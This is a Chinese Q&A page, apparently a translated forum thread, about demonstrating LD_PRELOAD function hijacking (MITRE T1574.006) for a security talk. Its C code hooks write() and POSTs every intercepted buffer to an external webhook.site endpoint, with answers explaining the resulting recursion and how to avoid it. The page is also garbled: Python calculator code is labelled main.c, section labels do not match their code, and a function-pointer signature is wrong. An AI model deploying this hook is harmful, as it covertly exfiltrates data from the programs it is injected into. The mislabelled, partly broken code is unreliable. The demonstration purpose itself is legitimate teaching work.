如何解决的libcurl和LD_PRELOAD
我正在创建一个使用 LD_PRELOAD 的小程序示例,以便在安全会议上演示 Miter ATT&CK ID T1574.006。我大部分时间都在使用它,但我遇到的问题之一是使用 libcurl 作为演示的一部分。当我在这里使用示例 POST 代码时:https://curl.se/libcurl/c/http-post.html 我的程序一直循环直到我终止它并且不发布任何数据。
如果有人能指出我正确的方向,我将不胜感激。基本上我要做的是在返回标准写入功能之前将数据发布到站点。
代码如下:
main.c
while True:
while True:
num1 = input("Enter First Number: ")
if num1.lower() == "quit":
quit()
try:
num1 = int(num1)
break
except ValueError:
print(f"{num1} is not an integer.")
while True:
num2 = input("Enter second number: ")
if num2.lower() == "quit":
quit()
try:
num2 = int(num2)
break
except ValueError:
print(f"{num2} is not an integer.")
op = input("Enter Operator: ")
if op.lower() == "quit":
quit()
if op == "*":
print(num1 * num2)
elif op == "+":
print(num1 + num2)
elif op == "-":
print(num1 - num2)
elif op == "/":
print(num1 / num2)
elif op == "%":
print(num1 % num2)
else:
print("Invalid Operator")
inject.c
#include <unistd.h>
#include <string.h>
int main(int argc,char **argv) {
const char *msg = "Hello write\n";
// 1 writes to stdout file descriptor
write(1,msg,strlen(msg));
return 0;
}
下面是我如何被编译和执行:
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <unistd.h>
#include <curl/curl.h>
#include <string.h>
void postData(char *postData) {
CURL *curl;
CURLcode res;
/* In windows,this will init the winsock stuff */
curl_global_init(CURL_GLOBAL_ALL);
char testData[500];
strcpy(testData,"testData=");
strcat(testData,postData);
printf("%s\n",testData);
/* get a curl handle */
curl = curl_easy_init();
if(curl) {
/* First set the URL that is about to receive our POST. This URL can
just as well be a https:// URL if that is what should receive the
data. */
curl_easy_setopt(curl,CURLOPT_URL,"https://webhook.site/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx");
/* Now specify the POST data */
curl_easy_setopt(curl,CURLOPT_POSTFIELDS,testData);
/* Perform the request,res will get the return code */
res = curl_easy_perform(curl);
/* Check for errors */
if(res != CURLE_OK)
fprintf(stderr,"curl_easy_perform() Failed: %s\n",curl_easy_strerror(res));
/* always cleanup */
curl_easy_cleanup(curl);
}
curl_global_cleanup();
}
ssize_t write(int fd,const void *buf,size_t count) {
char *p = (char *)buf;
printf("From main: %s\n",p);
postData(p);
// Look up the next write symbol
ssize_t (*orig_write)(int fd,size_t count) = dlsym(RTLD_NEXT,"write");
return orig_write(fd,buf,count);
}
解决方法
postData
可以进行 write
调用(例如,printf
中的 fprintf
和 postData
调用)。由于 write
被拦截,它从 write
调用您拦截的 postData
函数...然后它再次转到 postData
并继续。所以这就是“循环”发生的方式。
您需要确保 postData
中没有任何内容调用 write
。如果您确实需要打印某些内容,则必须使用另一种方式。您可以改用 syscall
(Linux)。
syscall(SYS_write,STDOUT_FILENO,testData,strlen(testData));
如果任何 curl_*
函数碰巧调用了 write
,也会发生同样的情况。
如果有人回到这个问题,我最终使用了 unsetenv
并解决了我的问题
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。